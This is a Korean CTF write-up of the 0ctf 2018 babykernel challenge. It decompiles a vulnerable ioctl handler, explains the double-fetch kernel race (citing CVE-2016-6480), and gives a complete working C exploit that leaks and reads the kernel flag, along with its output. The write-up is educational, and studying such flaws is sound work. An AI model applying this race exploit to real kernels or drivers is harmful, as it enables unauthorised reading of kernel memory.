1. 문제
1) 문제 확인
위에서 vmlinuz... , core.cpio, start.sh를 다운받은뒤, cpio 압축을 해제하여 커널 모듈을 얻으면 된다
╭─wogh8732@ubuntu ~/Desktop/kernel_study/ctf/0ctf2018-babykernel/test
╰─$ ls
baby.ko core.cpio fs.sh init linuxrc sbin tmp
bin home lib proc sys usr
Bash
복사
부팅 스크립트를 확인해보자
qemu-system-x86_64 \
-m 256M -smp 2,cores=2,threads=1 \
-kernel ./vmlinuz-4.15.0-22-generic \
-initrd ./test/core.cpio \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet" \
-cpu qemu64 \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic \
-gdb tcp::1234
Bash
복사
여기선 아무 키티게이션이 안걸려있는줄 알았는데 확인해보면 kaslr은 걸려있는것 같다
3) 코드흐름 파악
signed __int64 __fastcall baby_ioctl(__int64 a1, __int64 a2)
{
verify input; // rdx
signed __int64 result; // rax
int i; // [rsp-5Ch] [rbp-5Ch]
verify *input_copy; // [rsp-58h] [rbp-58h]
_fentry__(a1, a2);
input_copy = (verify *)input.space;
if ( (_DWORD)a2 == 0x6666 )
{
printk("Your flag is at %px! But I don't think you know it's content\n", flag);
result = 0LL;
}
else if ( (_DWORD)a2 == 0x1337
&& !_chk_range_not_ok(input.space, 16LL, *(_QWORD *)(__readgsqword((unsigned __int64)¤t_task) + 4952))
&& !_chk_range_not_ok(
input_copy->space,
SLODWORD(input_copy->len),
*(_QWORD *)(__readgsqword((unsigned __int64)¤t_task) + 4952))
&& LODWORD(input_copy->len) == strlen(flag) )
{
for ( i = 0; i < strlen(flag); ++i )
{
if ( *(_BYTE *)(input_copy->space + i) != flag[i] )
return 22LL;
}
printk("Looks like the flag is not a secret anymore. So here is it %s\n", flag);
result = 0LL;
}
else
{
result = 14LL;
}
return result;
}
C
복사
분석해야하는 함수는 baby_ioctl() 하나이다. 두번째 인자에 따라서 두개의 분기문이 존재한다. 두번째 인자가 0x6666 라면 전역변수에 존재하는 flag의 주소값을 커널메시지에 출력해준다.
0x1339 라면 어떤 3개의 조건문을 거치게되고 여기를 통과하면 flag에 들어있는 값과 input_copy→space 값을 비교하여 같으면 flag를 출력해준다
2. 접근방법
해당 문제는 double fetch 를 이용한 익스를 진행해야 한다. 일반적으로 race condition 이라고 생각하면 된다. 유저 영역에서 발생하는 레이스컨디션은 공유자원에 접근하는 여러 프로세스에 의해서 비정상적인 로직을 타는걸 말한다.
이러한 레이스 컨디션은 쓰레드 사이에서만 경쟁하는게 아니라 유저 쓰레드와 커널 영역 사이에서도 발생한다. 예를 들어 시스템 콜의 경우 유저 → 커널 모드로 넘어간다. 이와 관련한 내용은 아래를 참고하자.
중요한 부분은 유저 영역에서 코드를 특정 로직을 처리하기 위해 커널로 들어간다. 커널에서 유저의 데이터를 처리하기 위해서 copy_from_user 같은 커널 함수를 이용하여 유저의 데이터를 가져온다. 예를 들어보자
위 코드는 CVE-2016-6480 으로 linux Adaptec RAID 컨틀롤러 드라이버 파일 코드이다. ioctl_send_fib() 함수는 arg가 가리키는 유저 영역의 데이터를 copy_from_user 함수를 2번 이용하여 커널로 가져온다. 처음 가져올땐 특정 버퍼 크기 계싼, 데이터 유효성 체크 등을 수행한다. 두번째 가져올때 첫번째에 계산된 결과에 따라 버퍼를 할당한다.
헌데 커널 버퍼를 가리키는 kifb 101라인, 121 라인에서 계속 사용되므로 첫번째 복사된 데이터로 체크로직을 건너뛰고, 두번째 복사될때 악성 값을 넣게 되면 비정상적인 로직을 타고 double fetch 취약점이 발생한다.
요번 문제도 위와같은 방식의 double fetch가 발생한다
...
else if ( (_DWORD)a2 == 0x1337
&& !_chk_range_not_ok(input.space, 16LL, *(_QWORD *)(__readgsqword((unsigned __int64)¤t_task) + 4952))
&& !_chk_range_not_ok(
input_copy->space,
SLODWORD(input_copy->len),
*(_QWORD *)(__readgsqword((unsigned __int64)¤t_task) + 4952))
&& LODWORD(input_copy->len) == strlen(flag) )
{
...
C
복사
위 3개의 체크 로직을 정리하면 다음과 같다.
1.
baby_ioct() 3번째 인자로 들어온 값이 사용자 모드 데이터인지 체크
2.
input.space 포인터가 사용자 모드 데이터인지 체크
3.
flag 사이즈와 input→len 사이즈가 동일한지 체크
bool __fastcall _chk_range_not_ok(__int64 check_space, __int64 len, unsigned __int64 a3)
{
bool check_carryflag; // cf
unsigned __int64 check_mmap; // rdi
bool result; // al
check_carryflag = __CFADD__(len, check_space);
check_mmap = len + check_space;
if ( check_carryflag )
result = 1;
else
result = a3 < check_mmap;
return result;
}
C
복사
저기서 사용자 모드의 말뜻은 현재 데이터의 범위가 유저영역인지를 말하는것이다. 위 3개의 조건문을 통과하기 위해선 chk_range_not_ok 함수의 반환값을 0으로 만들어야 한다. 그러기 위해선 check_carryflag가 0이여야하는데, carry flag를 0으로 만드려면 check_space에 유저 영역주소가 들어가야한다.
이렇게 되면 else if 안으로 들어오긴 하지만 그 안에서 조건문을 만족시키지 못한다
else if { ....
for ( i = 0; i < strlen(flag); ++i )
{
if ( *(_BYTE *)(input_copy->space + i) != flag[i] )
return 22LL;
}
C
복사
만약 input.space가 유저영역이면 flag[] 와 비교에 실패하므로 이때는 반드시 input.space는 전역변수 flag의 주소여야한다. 이는 커널영역의 주소이다.
따라서 double fetch를 이용해서 조지면 된다.
else if 문을 통과할때는 유저 영역의 주소로 넣고, 이를 통과해서 안으로 들어왔을때 다른 쓰레드가 input.space 영역에 flag 주소를 넣으면 익스가 될것이다.
3. 풀이
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <sys/ioctl.h>
#include <pthread.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <stdint.h>
#define LEN 0x1000
#define flag_addr 0x6666
#define flag_ 0x1337
int finish=0;
int fd;
size_t addr;
typedef struct verifyy
{
size_t flag;
size_t len;
}verify;
void change_attr_value(void *s){
verify * check = s;
while(1){
check->flag = addr;
if(finish==1)
{
return 0;
}
}
}
int main()
{
char* idx;
char buf[0x1001]={0,};
fd=open("/dev/baby",O_RDWR);
if(!fd)
{
printf("baby open error!!\n");
exit(1);
}
ioctl(fd,flag_addr);
system("dmesg > /tmp/record.txt");
int tmp = open("/tmp/record.txt",O_RDONLY);
lseek(tmp,-LEN,SEEK_END);
read(tmp,buf,LEN);
close(tmp);
idx = strstr(buf,"Your flag is at ");
if (idx == 0){
printf("[-]Not found addr");
exit(-1);
}
else{
idx+=16;
addr = strtoull(idx,idx+16,16);
printf("[+]flag addr: %p\n",addr);
}
pthread_t p;
int result;
verify vv;
vv.flag=buf;
vv.len=0x21;
pthread_create(&p,NULL,&change_attr_value,&vv);
while(1)
{
result=ioctl(fd,0x1337,&vv);
printf("ioctl result %d\n",result);
if(!result)
{
finish=1;
break;
}
vv.flag=buf;
}
pthread_join(p,NULL);
close(fd);
system("dmesg | grep flag");
return 0;
}
C
복사
ioctl result 22
ioctl result 22
ioctl result 22
ioctl result 22
ioctl result 22
ioctl result 22
ioctl result 22
ioctl result 22
ioctl result 22
ioctl result 22
ioctl result 0
[ 2.286011] Your flag is at ffffffffc01e5028! But I don't think you know it's content
[ 5.736931] Looks like the flag is not a secret anymore. So here is it flag{THIS_WILL_BE_YOUR_FLAG_1234}
/ $
C
복사
4. 몰랐던 개념
•
double fetch in linux kernel